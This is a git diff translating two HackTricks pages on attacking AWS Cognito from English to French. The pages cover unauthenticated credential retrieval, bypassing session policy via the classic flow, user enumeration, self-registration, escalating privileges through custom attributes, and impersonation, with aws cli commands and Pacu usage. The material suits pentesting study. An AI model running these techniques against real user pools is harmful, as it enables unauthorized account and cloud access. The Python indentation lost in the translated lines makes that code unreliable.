 {{#include ../../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-identity-pools.md b/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-identity-pools.md
index 024c7ea91..3859c0f94 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-identity-pools.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-identity-pools.md
@@ -4,14 +4,13 @@
 
 ## Basic Information
 
-Identity pools serve a crucial role by enabling your users to **acquire temporary credentials**. These credentials are essential for accessing various AWS services, including but not limited to Amazon S3 and DynamoDB. A notable feature of identity pools is their support for both anonymous guest users and a range of identity providers for user authentication. The supported identity providers include:
+Les pools d'identité jouent un rôle crucial en permettant à vos utilisateurs d'**acquérir des identifiants temporaires**. Ces identifiants sont essentiels pour accéder à divers services AWS, y compris, mais sans s'y limiter, Amazon S3 et DynamoDB. Une caractéristique notable des pools d'identité est leur support pour les utilisateurs invités anonymes et une gamme de fournisseurs d'identité pour l'authentification des utilisateurs. Les fournisseurs d'identité pris en charge incluent :
 
 - Amazon Cognito user pools
-- Social sign-in options such as Facebook, Google, Login with Amazon, and Sign in with Apple
-- Providers compliant with OpenID Connect (OIDC)
-- SAML (Security Assertion Markup Language) identity providers
-- Developer authenticated identities
-
+- Options de connexion sociale telles que Facebook, Google, Login with Amazon et Sign in with Apple
+- Fournisseurs conformes à OpenID Connect (OIDC)
+- Fournisseurs d'identité SAML (Security Assertion Markup Language)
+- Identités authentifiées par le développeur
 ```python
 # Sample code to demonstrate how to integrate an identity provider with an identity pool can be structured as follows:
 import boto3
@@ -24,74 +23,64 @@ identity_pool_id = 'your-identity-pool-id'
 
 # Add an identity provider to the identity pool
 response = client.set_identity_pool_roles(
-    IdentityPoolId=identity_pool_id,
-    Roles={
-        'authenticated': 'arn:aws:iam::AWS_ACCOUNT_ID:role/AuthenticatedRole',
-        'unauthenticated': 'arn:aws:iam::AWS_ACCOUNT_ID:role/UnauthenticatedRole',
-    }
+IdentityPoolId=identity_pool_id,
+Roles={
+'authenticated': 'arn:aws:iam::AWS_ACCOUNT_ID:role/AuthenticatedRole',
+'unauthenticated': 'arn:aws:iam::AWS_ACCOUNT_ID:role/UnauthenticatedRole',
+}
 )
 
 # Print the response from AWS
 print(response)
 ```
-
 ### Cognito Sync
 
-To generate Identity Pool sessions, you first need to **generate and Identity ID**. This Identity ID is the **identification of the session of that user**. These identifications can have up to 20 datasets that can store up to 1MB of key-value pairs.
+Pour générer des sessions de Identity Pool, vous devez d'abord **générer un Identity ID**. Cet Identity ID est **l'identification de la session de cet utilisateur**. Ces identifications peuvent avoir jusqu'à 20 ensembles de données pouvant stocker jusqu'à 1 Mo de paires clé-valeur.
 
-This is **useful to keep information of a user** (who will be always using the same Identity ID).
+Ceci est **utile pour garder des informations sur un utilisateur** (qui utilisera toujours le même Identity ID).
 
-Moreover, the service **cognito-sync** is the service that allow to **manage and syncronize this information** (in the datasets, sending info in streams and SNSs msgs...).
+De plus, le service **cognito-sync** est le service qui permet de **gérer et synchroniser ces informations** (dans les ensembles de données, en envoyant des informations dans des flux et des messages SNS...).
 
 ### Tools for pentesting
 
-- [Pacu](https://github.com/RhinoSecurityLabs/pacu), the AWS exploitation framework, now includes the "cognito\_\_enum" and "cognito\_\_attack" modules that automate enumeration of all Cognito assets in an account and flag weak configurations, user attributes used for access control, etc., and also automate user creation (including MFA support) and privilege escalation based on modifiable custom attributes, usable identity pool credentials, assumable roles in id tokens, etc.
+- [Pacu](https://github.com/RhinoSecurityLabs/pacu), le framework d'exploitation AWS, inclut maintenant les modules "cognito\_\_enum" et "cognito\_\_attack" qui automatisent l'énumération de tous les actifs Cognito dans un compte et signalent les configurations faibles, les attributs utilisateur utilisés pour le contrôle d'accès, etc., et automatisent également la création d'utilisateurs (y compris le support MFA) et l'escalade de privilèges basée sur des attributs personnalisés modifiables, des identifiants de pool d'identité utilisables, des rôles assumables dans des jetons d'identité, etc.
 
-For a description of the modules' functions see part 2 of the [blog post](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2). For installation instructions see the main [Pacu](https://github.com/RhinoSecurityLabs/pacu) page.
+Pour une description des fonctions des modules, voir la partie 2 du [blog post](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2). Pour des instructions d'installation, voir la page principale de [Pacu](https://github.com/RhinoSecurityLabs/pacu).
 
 #### Usage
 
-Sample cognito\_\_attack usage to attempt user creation and all privesc vectors against a given identity pool and user pool client:
-
+Exemple d'utilisation de cognito\_\_attack pour tenter la création d'utilisateur et tous les vecteurs d'escalade de privilèges contre un pool d'identité et un client de pool d'utilisateurs donnés :
 ```bash
 Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools
 us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
 59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX
 ```
-
-Sample cognito\_\_enum usage to gather all user pools, user pool clients, identity pools, users, etc. visible in the current AWS account:
-
+Exemple d'utilisation de cognito\_\_enum pour rassembler tous les groupes d'utilisateurs, les clients de groupes d'utilisateurs, les groupes d'identité, les utilisateurs, etc. visibles dans le compte AWS actuel :
 ```bash
 Pacu (new:test) > run cognito__enum
 ```
-
-- [Cognito Scanner](https://github.com/padok-team/cognito-scanner) is a CLI tool in python that implements different attacks on Cognito including unwanted account creation and identity pool escalation.
+- [Cognito Scanner](https://github.com/padok-team/cognito-scanner) est un outil CLI en python qui implémente différentes attaques sur Cognito, y compris la création de comptes non désirés et l'escalade de pools d'identité.
 
 #### Installation
-
 ```bash
 $ pip install cognito-scanner
 ```
-
-#### Usage
-
+#### Utilisation
 ```bash
 $ cognito-scanner --help
 ```
+Pour plus d'informations, consultez https://github.com/padok-team/cognito-scanner
 
-For more information check https://github.com/padok-team/cognito-scanner
+## Accéder aux rôles IAM
 
-## Accessing IAM Roles
+### Non authentifié
 
-### Unauthenticated
-
-The only thing an attacker need to know to **get AWS credentials** in a Cognito app as unauthenticated user is the **Identity Pool ID**, and this **ID must be hardcoded** in the web/mobile **application** for it to use it. An ID looks like this: `eu-west-1:098e5341-8364-038d-16de-1865e435da3b` (it's not bruteforceable).
+La seule chose qu'un attaquant doit savoir pour **obtenir des identifiants AWS** dans une application Cognito en tant qu'utilisateur non authentifié est le **ID de la piscine d'identité**, et cet **ID doit être codé en dur** dans l'**application** web/mobile pour qu'elle puisse l'utiliser. Un ID ressemble à ceci : `eu-west-1:098e5341-8364-038d-16de-1865e435da3b` (il n'est pas bruteforcable).
 
 > [!TIP]
-> The **IAM Cognito unathenticated role created via is called** by default `Cognito_<Identity Pool name>Unauth_Role`
-
-If you find an Identity Pools ID hardcoded and it allows unauthenticated users, you can get AWS credentials with:
+> Le **rôle IAM Cognito non authentifié créé via est appelé** par défaut `Cognito_<Nom de la piscine d'identité>Unauth_Role`
 
+Si vous trouvez un ID de piscine d'identité codé en dur et qu'il permet aux utilisateurs non authentifiés, vous pouvez obtenir des identifiants AWS avec :
 ```python
 import requests
 
@@ -105,8 +94,8 @@ r = requests.post(url, json=params, headers=headers)
 json_resp = r.json()
 
 if not "IdentityId" in json_resp:
-    print(f"Not valid id: {id_pool_id}")
-    exit
+print(f"Not valid id: {id_pool_id}")
+exit
 
 IdentityId = r.json()["IdentityId"]
 
@@ -117,23 +106,19 @@ r = requests.post(url, json=params, headers=headers)
 
 print(r.json())
 ```
-
-Or you could use the following **aws cli commands**:
-
+Ou vous pourriez utiliser les **commandes aws cli** suivantes :
 ```bash
 aws cognito-identity get-id --identity-pool-id <identity_pool_id> --no-sign
 aws cognito-identity get-credentials-for-identity --identity-id <identity_id> --no-sign
 ```
-
 > [!WARNING]
-> Note that by default an unauthenticated cognito **user CANNOT have any permission, even if it was assigned via a policy**. Check the followin section.
+> Notez qu'en défaut, un utilisateur cognito **non authentifié NE PEUT avoir aucune permission, même si elle a été assignée via une politique**. Vérifiez la section suivante.
 
-### Enhanced vs Basic Authentication flow
+### Flux d'authentification amélioré vs basique
 
-The previous section followed the **default enhanced authentication flow**. This flow sets a **restrictive** [**session policy**](../../aws-basic-information/#session-policies) to the IAM role session generated. This policy will only allow the session to [**use the services from this list**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services) (even if the role had access to other services).
-
-However, there is a way to bypass this, if the **Identity pool has "Basic (Classic) Flow" enabled**, the user will be able to obtain a session using that flow which **won't have that restrictive session policy**.
+La section précédente a suivi le **flux d'authentification amélioré par défaut**. Ce flux définit une **politique de session** [**restrictive**](../../aws-basic-information/#session-policies) pour la session de rôle IAM générée. Cette politique ne permettra à la session que [**d'utiliser les services de cette liste**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services) (même si le rôle avait accès à d'autres services).
 
+Cependant, il existe un moyen de contourner cela, si le **pool d'identité a "Flux basique (classique)" activé**, l'utilisateur pourra obtenir une session en utilisant ce flux qui **n'aura pas cette politique de session restrictive**.
 ```bash
 # Get auth ID
 aws cognito-identity get-id --identity-pool-id <identity_pool_id> --no-sign
@@ -145,51 +130,46 @@ aws cognito-identity get-open-id-token --identity-id <identity_id> --no-sign
 ## If you don't know the role_arn use the previous enhanced flow to get it
 aws sts assume-role-with-web-identity --role-arn "arn:aws:iam::<acc_id>:role/<role_name>" --role-session-name sessionname --web-identity-token <token> --no-sign
 ```
-
 > [!WARNING]
-> If you receive this **error**, it's because the **basic flow is not enabled (default)**
+> Si vous recevez cette **erreur**, c'est parce que le **flux de base n'est pas activé (par défaut)**
 
 > `An error occurred (InvalidParameterException) when calling the GetOpenIdToken operation: Basic (classic) flow is not enabled, please use enhanced flow.`
 
-Having a set of IAM credentials you should check [which access you have](../../#whoami) and try to [escalate privileges](../../aws-privilege-escalation/).
+Ayant un ensemble de credentials IAM, vous devriez vérifier [quels accès vous avez](../../#whoami) et essayer d'[escalader les privilèges](../../aws-privilege-escalation/).
 
-### Authenticated
+### Authentifié
 
 > [!NOTE]
-> Remember that **authenticated users** will be probably granted **different permissions**, so if you can **sign up inside the app**, try doing that and get the new credentials.
+> N'oubliez pas que les **utilisateurs authentifiés** se verront probablement accorder **des permissions différentes**, donc si vous pouvez **vous inscrire dans l'application**, essayez de le faire et obtenez les nouveaux credentials.
 
-There could also be **roles** available for **authenticated users accessing the Identity Poo**l.
+Il pourrait également y avoir des **rôles** disponibles pour les **utilisateurs authentifiés accédant au Identity Pool**.
 
-For this you might need to have access to the **identity provider**. If that is a **Cognito User Pool**, maybe you can abuse the default behaviour and **create a new user yourself**.
+Pour cela, vous pourriez avoir besoin d'accéder au **fournisseur d'identité**. Si c'est un **Cognito User Pool**, peut-être pouvez-vous abuser du comportement par défaut et **créer un nouvel utilisateur vous-même**.
 
 > [!TIP]
-> The **IAM Cognito athenticated role created via is called** by default `Cognito_<Identity Pool name>Auth_Role`
+> Le **rôle IAM Cognito authentifié créé via est appelé** par défaut `Cognito_<Identity Pool name>Auth_Role`
 
-Anyway, the **following example** expects that you have already logged in inside a **Cognito User Pool** used to access the Identity Pool (don't forget that other types of identity providers could also be configured).
+Quoi qu'il en soit, le **suivant exemple** suppose que vous êtes déjà connecté à un **Cognito User Pool** utilisé pour accéder au Identity Pool (n'oubliez pas que d'autres types de fournisseurs d'identité pourraient également être configurés).
 
 <pre class="language-bash"><code class="lang-bash">aws cognito-identity get-id \
-    --identity-pool-id &#x3C;identity_pool_id> \
-    --logins cognito-idp.&#x3C;region>.amazonaws.com/&#x3C;YOUR_USER_POOL_ID>=&#x3C;ID_TOKEN>
+--identity-pool-id &#x3C;identity_pool_id> \
+--logins cognito-idp.&#x3C;region>.amazonaws.com/&#x3C;YOUR_USER_POOL_ID>=&#x3C;ID_TOKEN>
 
-# Get the identity_id from the previous commnad response
+# Obtenez l'identity_id de la réponse de la commande précédente
 aws cognito-identity get-credentials-for-identity \
-    --identity-id &#x3C;identity_id> \
-    --logins cognito-idp.&#x3C;region>.amazonaws.com/&#x3C;YOUR_USER_POOL_ID>=&#x3C;ID_TOKEN>
+--identity-id &#x3C;identity_id> \
+--logins cognito-idp.&#x3C;region>.amazonaws.com/&#x3C;YOUR_USER_POOL_ID>=&#x3C;ID_TOKEN>
 
 
-# In the IdToken you can find roles a user has access because of User Pool Groups
-# User the --custom-role-arn to get credentials to a specific role
+# Dans l'IdToken, vous pouvez trouver les rôles auxquels un utilisateur a accès en raison des groupes de User Pool
+# Utilisez le --custom-role-arn pour obtenir des credentials pour un rôle spécifique
 aws cognito-identity get-credentials-for-identity \
-    --identity-id &#x3C;identity_id> \
+--identity-id &#x3C;identity_id> \
 <strong>    --custom-role-arn &#x3C;role_arn> \
 </strong>    --logins cognito-idp.&#x3C;region>.amazonaws.com/&#x3C;YOUR_USER_POOL_ID>=&#x3C;ID_TOKEN>
 </code></pre>
 
 > [!WARNING]
-> It's possible to **configure different IAM roles depending on the identity provide**r the user is being logged in or even just depending **on the user** (using claims). Therefore, if you have access to different users through the same or different providers, if might be **worth it to login and access the IAM roles of all of them**.
+> Il est possible de **configurer différents rôles IAM en fonction du fournisseur d'identité** par lequel l'utilisateur est connecté ou même simplement en fonction **de l'utilisateur** (en utilisant des claims). Par conséquent, si vous avez accès à différents utilisateurs via le même ou différents fournisseurs, cela pourrait être **intéressant de se connecter et d'accéder aux rôles IAM de tous**.
 
 {{#include ../../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-user-pools.md b/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-user-pools.md
index 08e06fb45..f2b32f480 100644
--- a/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-user-pools.md
+++ b/src/pentesting-cloud/aws-security/aws-services/aws-cognito-enum/cognito-user-pools.md
@@ -2,32 +2,31 @@
 
 {{#include ../../../../banners/hacktricks-training.md}}
 
-## Basic Information
+## Informations de base
 
-A user pool is a user directory in Amazon Cognito. With a user pool, your users can **sign in to your web or mobile app** through Amazon Cognito, **or federate** through a **third-party** identity provider (IdP). Whether your users sign in directly or through a third party, all members of the user pool have a directory profile that you can access through an SDK.
+Un pool d'utilisateurs est un annuaire d'utilisateurs dans Amazon Cognito. Avec un pool d'utilisateurs, vos utilisateurs peuvent **se connecter à votre application web ou mobile** via Amazon Cognito, **ou se fédérer** via un **fournisseur d'identité** tiers (IdP). Que vos utilisateurs se connectent directement ou via un tiers, tous les membres du pool d'utilisateurs ont un profil dans l'annuaire auquel vous pouvez accéder via un SDK.
 
-User pools provide:
+Les pools d'utilisateurs fournissent :
 
-- Sign-up and sign-in services.
-- A built-in, customizable web UI to sign in users.
-- Social sign-in with Facebook, Google, Login with Amazon, and Sign in with Apple, and through SAML and OIDC identity providers from your user pool.
-- User directory management and user profiles.
-- Security features such as multi-factor authentication (MFA), checks for compromised credentials, account takeover protection, and phone and email verification.
-- Customized workflows and user migration through AWS Lambda triggers.
+- Des services d'inscription et de connexion.
+- Une interface utilisateur web intégrée et personnalisable pour connecter les utilisateurs.
+- Connexion sociale avec Facebook, Google, Login with Amazon, et Sign in with Apple, ainsi que via des fournisseurs d'identité SAML et OIDC de votre pool d'utilisateurs.
+- Gestion de l'annuaire des utilisateurs et des profils utilisateurs.
+- Fonctionnalités de sécurité telles que l'authentification multi-facteurs (MFA), des vérifications pour des identifiants compromis, la protection contre la prise de contrôle de compte, et la vérification par téléphone et par email.
+- Flux de travail personnalisés et migration des utilisateurs via des déclencheurs AWS Lambda.
 
-**Source code** of applications will usually also contain the **user pool ID** and the **client application ID**, (and some times the **application secret**?) which are needed for a **user to login** to a Cognito User Pool.
+Le **code source** des applications contiendra généralement également l'**ID du pool d'utilisateurs** et l'**ID de l'application cliente**, (et parfois le **secret de l'application** ?) qui sont nécessaires pour qu'un **utilisateur se connecte** à un pool d'utilisateurs Cognito.
 
-### Potential attacks
+### Attaques potentielles
 
-- **Registration**: By default a user can register himself, so he could create a user for himself.
-- **User enumeration**: The registration functionality can be used to find usernames that already exists. This information can be useful for the brute-force attack.
-- **Login brute-force**: In the [**Authentication**](cognito-user-pools.md#authentication) section you have all the **methods** that a user have to **login**, you could try to brute-force them **find valid credentials**.
+- **Inscription** : Par défaut, un utilisateur peut s'inscrire lui-même, il pourrait donc créer un utilisateur pour lui-même.
+- **Énumération des utilisateurs** : La fonctionnalité d'inscription peut être utilisée pour trouver des noms d'utilisateur qui existent déjà. Cette information peut être utile pour l'attaque par force brute.
+- **Force brute de connexion** : Dans la section [**Authentification**](cognito-user-pools.md#authentication), vous avez tous les **méthodes** qu'un utilisateur doit utiliser pour **se connecter**, vous pourriez essayer de les forcer à **trouver des identifiants valides**.
 
-### Tools for pentesting
-
-- [Pacu](https://github.com/RhinoSecurityLabs/pacu), now includes the `cognito__enum` and `cognito__attack` modules that automate enumeration of all Cognito assets in an account and flag weak configurations, user attributes used for access control, etc., and also automate user creation (including MFA support) and privilege escalation based on modifiable custom attributes, usable identity pool credentials, assumable roles in id tokens, etc.\
-  For a description of the modules' functions see part 2 of the [blog post](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2). For installation instructions see the main [Pacu](https://github.com/RhinoSecurityLabs/pacu) page.
+### Outils pour le pentesting
 
+- [Pacu](https://github.com/RhinoSecurityLabs/pacu), inclut maintenant les modules `cognito__enum` et `cognito__attack` qui automatisent l'énumération de tous les actifs Cognito dans un compte et signalent les configurations faibles, les attributs des utilisateurs utilisés pour le contrôle d'accès, etc., et automatisent également la création d'utilisateurs (y compris le support MFA) et l'escalade de privilèges basée sur des attributs personnalisables modifiables, des identifiants de pool d'identité utilisables, des rôles assumables dans les jetons d'identité, etc.\
+Pour une description des fonctions des modules, voir la partie 2 du [post de blog](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2). Pour des instructions d'installation, voir la page principale de [Pacu](https://github.com/RhinoSecurityLabs/pacu).
 ```bash
 # Run cognito__enum usage to gather all user pools, user pool clients, identity pools, users, etc. visible in the current AWS account
 Pacu (new:test) > run cognito__enum
@@ -37,201 +36,169 @@ Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gma
 us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
 59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX
 ```
-
-- [Cognito Scanner](https://github.com/padok-team/cognito-scanner) is a CLI tool in python that implements different attacks on Cognito including unwanted account creation and account oracle. Check [this link](https://github.com/padok-team/cognito-scanner) for more info.
-
+- [Cognito Scanner](https://github.com/padok-team/cognito-scanner) est un outil CLI en python qui implémente différentes attaques sur Cognito, y compris la création de comptes non désirés et l'oracle de compte. Consultez [ce lien](https://github.com/padok-team/cognito-scanner) pour plus d'infos.
 ```bash
 # Install
 pip install cognito-scanner
 # Run
 cognito-scanner --help
 ```
-
-- [CognitoAttributeEnum](https://github.com/punishell/CognitoAttributeEnum): This script allows to enumerate valid attributes for users.
-
+- [CognitoAttributeEnum](https://github.com/punishell/CognitoAttributeEnum) : Ce script permet d'énumérer les attributs valides pour les utilisateurs.
 ```bash
 python cognito-attribute-enu.py -client_id 16f1g98bfuj9i0g3f8be36kkrl
 ```
+## Inscription
 
-## Registration
-
-User Pools allows by **default** to **register new users**.
-
+User Pools permet par **défaut** de **s'inscrire de nouveaux utilisateurs**.
 ```bash
 aws cognito-idp sign-up --client-id <client-id> \
-    --username <username> --password <password> \
-    --region <region> --no-sign-request
+--username <username> --password <password> \
+--region <region> --no-sign-request
 ```
+#### Si quelqu'un peut s'inscrire
 
-#### If anyone can register
-
-You might find an error indicating you that you need to **provide more details** of abut the user:
-
+Vous pourriez trouver une erreur indiquant que vous devez **fournir plus de détails** sur l'utilisateur :
 ```
 An error occurred (InvalidParameterException) when calling the SignUp operation: Attributes did not conform to the schema: address: The attribute is required
 ```
-
-You can provide the needed details with a JSON such as:
-
+Vous pouvez fournir les détails nécessaires avec un JSON tel que :
 ```json
 --user-attributes '[{"Name": "email", "Value": "carlospolop@gmail.com"}, {"Name":"gender", "Value": "M"}, {"Name": "address", "Value": "street"}, {"Name": "custom:custom_name", "Value":"supername&\"*$"}]'
 ```
-
-You could use this functionality also to **enumerate existing users.** This is the error message when a user already exists with that name:
-
+Vous pouvez également utiliser cette fonctionnalité pour **énumérer les utilisateurs existants.** Voici le message d'erreur lorsqu'un utilisateur existe déjà avec ce nom :
 ```
 An error occurred (UsernameExistsException) when calling the SignUp operation: User already exists
 ```
-
 > [!NOTE]
-> Note in the previous command how the **custom attributes start with "custom:"**.\
-> Also know that when registering you **cannot create for the user new custom attributes**. You can only give value to **default attributes** (even if they aren't required) and **custom attributes specified**.
-
-Or just to test if a client id exists. This is the error if the client-id doesn't exist:
+> Notez dans la commande précédente comment les **attributs personnalisés commencent par "custom:"**.\
+> Sachez également que lors de l'enregistrement, vous **ne pouvez pas créer de nouveaux attributs personnalisés pour l'utilisateur**. Vous ne pouvez donner de valeur qu'aux **attributs par défaut** (même s'ils ne sont pas requis) et aux **attributs personnalisés spécifiés**.
 
+Ou juste pour tester si un identifiant client existe. Voici l'erreur si l'identifiant client n'existe pas :
 ```
 An error occurred (ResourceNotFoundException) when calling the SignUp operation: User pool client 3ig612gjm56p1ljls1prq2miut does not exist.
 ```
+#### Si seul l'administrateur peut enregistrer des utilisateurs
 
-#### If only admin can register users
-
-You will find this error and you own't be able to register or enumerate users:
-
+Vous rencontrerez cette erreur et vous ne pourrez pas enregistrer ou énumérer des utilisateurs :
 ```
 An error occurred (NotAuthorizedException) when calling the SignUp operation: SignUp is not permitted for this user pool
 ```
+### Vérification de l'inscription
 
-### Verifying Registration
-
-Cognito allows to **verify a new user by verifying his email or phone number**. Therefore, when creating a user usually you will be required at least the username and password and the **email and/or telephone number**. Just set one **you control** so you will receive the code to **verify your** newly created user **account** like this:
-
+Cognito permet de **vérifier un nouvel utilisateur en vérifiant son email ou son numéro de téléphone**. Par conséquent, lors de la création d'un utilisateur, il vous sera généralement demandé au moins le nom d'utilisateur et le mot de passe ainsi que l'**email et/ou le numéro de téléphone**. Il suffit de définir un **que vous contrôlez** afin de recevoir le code pour **vérifier votre** compte **d'utilisateur** nouvellement créé comme ceci :
 ```bash
 aws cognito-idp confirm-sign-up --client-id <cliet_id> \
-    --username aasdasd2 --confirmation-code <conf_code> \
-    --no-sign-request --region us-east-1
+--username aasdasd2 --confirmation-code <conf_code> \
+--no-sign-request --region us-east-1
 ```
-
 > [!WARNING]
-> Even if **looks like you can use the same email** and phone number, when you need to verify the created user Cognito will complain about using the same info and **won't let you verify the account**.
+> Même si **il semble que vous pouvez utiliser le même email** et numéro de téléphone, lorsque vous devez vérifier l'utilisateur créé, Cognito se plaindra d'utiliser les mêmes informations et **ne vous permettra pas de vérifier le compte**.
 
-### Privilege Escalation / Updating Attributes
-
-By default a user can **modify the value of his attributes** with something like:
+### Escalade de privilèges / Mise à jour des attributs
 
+Par défaut, un utilisateur peut **modifier la valeur de ses attributs** avec quelque chose comme :
 ```bash
 aws cognito-idp update-user-attributes \
-    --region us-east-1 --no-sign-request \
-    --user-attributes Name=address,Value=street \
-    --access-token <access token>
+--region us-east-1 --no-sign-request \
+--user-attributes Name=address,Value=street \
+--access-token <access token>
 ```
-
-#### Custom attribute privesc
+#### Privesc d'attributs personnalisés
 
 > [!CAUTION]
-> You might find **custom attributes** being used (such as `isAdmin`), as by default you can **change the values of your own attributes** you might be able to **escalate privileges** changing the value yourself!
+> Vous pourriez trouver des **attributs personnalisés** utilisés (comme `isAdmin`), car par défaut vous pouvez **changer les valeurs de vos propres attributs**, vous pourriez être en mesure d'**escalader les privilèges** en changeant la valeur vous-même !
 
-#### Email/username modification privesc
+#### Privesc de modification d'email/nom d'utilisateur
 
-You can use this to **modify the email and phone number** of a user, but then, even if the account remains as verified, those attributes are **set in unverified status** (you need to verify them again).
+Vous pouvez utiliser cela pour **modifier l'email et le numéro de téléphone** d'un utilisateur, mais ensuite, même si le compte reste vérifié, ces attributs sont **définis en statut non vérifié** (vous devez les vérifier à nouveau).
 
 > [!WARNING]
-> You **won't be able to login with email or phone number** until you verify them, but you will be **able to login with the username**.\
-> Note that even if the email was modified and not verified it will appear in the ID Token inside the **`email`** **field** and the filed **`email_verified`** will be **false**, but if the app **isn't checking that you might impersonate other users**.
+> Vous **ne pourrez pas vous connecter avec l'email ou le numéro de téléphone** tant que vous ne les avez pas vérifiés, mais vous pourrez **vous connecter avec le nom d'utilisateur**.\
+> Notez que même si l'email a été modifié et non vérifié, il apparaîtra dans le jeton d'identité à l'intérieur du **champ** **`email`** et le champ **`email_verified`** sera **faux**, mais si l'application **ne vérifie pas cela, vous pourriez usurper l'identité d'autres utilisateurs**.
 
-> Moreover, note that you can put anything inside the **`name`** field just modifying the **name attribute**. If an app is **checking** **that** field for some reason **instead of the `email`** (or any other attribute) you might be able to **impersonate other users**.
-
-Anyway, if for some reason you changed your email for example to a new one you can access you can **confirm the email with the code you received in that email address**:
+> De plus, notez que vous pouvez mettre n'importe quoi dans le champ **`name`** en modifiant simplement l'**attribut name**. Si une application **vérifie** ce champ pour une raison quelconque **au lieu de l'`email`** (ou tout autre attribut), vous pourriez être en mesure d'**usurper l'identité d'autres utilisateurs**.
 
+Quoi qu'il en soit, si pour une raison quelconque vous avez changé votre email par exemple pour un nouveau auquel vous pouvez accéder, vous pouvez **confirmer l'email avec le code que vous avez reçu à cette adresse email** :
 ```bash
 aws cognito-idp verify-user-attribute \
-    --access-token <access_token> \
-    --attribute-name email --code <code> \
-    --region <region> --no-sign-request
+--access-token <access_token> \
+--attribute-name email --code <code> \
+--region <region> --no-sign-request
 ```
-
-Use **`phone_number`** instead of **`email`** to change/verify a **new phone number**.
+Utilisez **`phone_number`** au lieu de **`email`** pour changer/vérifier un **nouveau numéro de téléphone**.
 
 > [!NOTE]
-> The admin could also enable the option to **login with a user preferred username**. Note that you won't be able to change this value to **any username or preferred_username already being used** to impersonate a different user.
+> L'administrateur pourrait également activer l'option de **connexion avec un nom d'utilisateur préféré par l'utilisateur**. Notez que vous ne pourrez pas changer cette valeur pour **un nom d'utilisateur ou un preferred_username déjà utilisé** pour usurper un autre utilisateur.
 
-### Recover/Change Password
-
-It's possible to recover a password just **knowing the username** (or email or phone is accepted) and having access to it as a code will be sent there:
+### Récupérer/Changer le mot de passe
 
+Il est possible de récupérer un mot de passe en **connaissant le nom d'utilisateur** (ou l'email ou le téléphone est accepté) et en y ayant accès car un code y sera envoyé :
 ```bash
 aws cognito-idp forgot-password \
-    --client-id <client_id> \
-    --username <username/email/phone> --region <region>
+--client-id <client_id> \
+--username <username/email/phone> --region <region>
 ```
-
 > [!NOTE]
-> The response of the server is always going to be positive, like if the username existed. You cannot use this method to enumerate users
-
-With the code you can change the password with:
+> La réponse du serveur sera toujours positive, comme si le nom d'utilisateur existait. Vous ne pouvez pas utiliser cette méthode pour énumérer les utilisateurs
 
+Avec le code, vous pouvez changer le mot de passe avec :
 ```bash
 aws cognito-idp confirm-forgot-password \
-    --client-id <client_id> \
-    --username <username> \
-    --confirmation-code <conf_code> \
-    --password <pwd> --region <region>
+--client-id <client_id> \
+--username <username> \
+--confirmation-code <conf_code> \
+--password <pwd> --region <region>
 ```
-
-To change the password you need to **know the previous password**:
-
+Pour changer le mot de passe, vous devez **connaître le mot de passe précédent** :
 ```bash
 aws cognito-idp change-password \
-    --previous-password <value> \
-    --proposed-password <value> \
-    --access-token <value>
+--previous-password <value> \
+--proposed-password <value> \
+--access-token <value>
 ```
+## Authentification
 
-## Authentication
+Un pool d'utilisateurs prend en charge **différentes manières de s'authentifier**. Si vous avez un **nom d'utilisateur et un mot de passe**, il existe également **différentes méthodes** prises en charge pour se connecter.\
+De plus, lorsqu'un utilisateur est authentifié dans le Pool, **3 types de jetons sont donnés** : Le **jeton ID**, le **jeton d'accès** et le **jeton de rafraîchissement**.
 
-A user pool supports **different ways to authenticate** to it. If you have a **username and password** there are also **different methods** supported to login.\
-Moreover, when a user is authenticated in the Pool **3 types of tokens are given**: The **ID Token**, the **Access token** and the **Refresh token**.
-
-- [**ID Token**](https://docs.aws.amazon.com/cognito/latest/developerguide/amazon-cognito-user-pools-using-the-id-token.html): It contains claims about the **identity of the authenticated user,** such as `name`, `email`, and `phone_number`. The ID token can also be used to **authenticate users to your resource servers or server applications**. You must **verify** the **signature** of the ID token before you can trust any claims inside the ID token if you use it in external applications.
-  - The ID Token is the token that **contains the attributes values of the user**, even the custom ones.
-- [**Access Token**](https://docs.aws.amazon.com/cognito/latest/developerguide/amazon-cognito-user-pools-using-the-access-token.html): It contains claims about the authenticated user, a list of the **user's groups, and a list of scopes**. The purpose of the access token is to **authorize API operations** in the context of the user in the user pool. For example, you can use the access token to **grant your user access** to add, change, or delete user attributes.
-- [**Refresh Token**](https://docs.aws.amazon.com/cognito/latest/developerguide/amazon-cognito-user-pools-using-the-refresh-token.html): With refresh tokens you can **get new ID Tokens and Access Tokens** for the user until the **refresh token is invalid**. By **default**, the refresh token **expires 30 days after** your application user signs into your user pool. When you create an application for your user pool, you can set the application's refresh token expiration to **any value between 60 minutes and 10 years**.
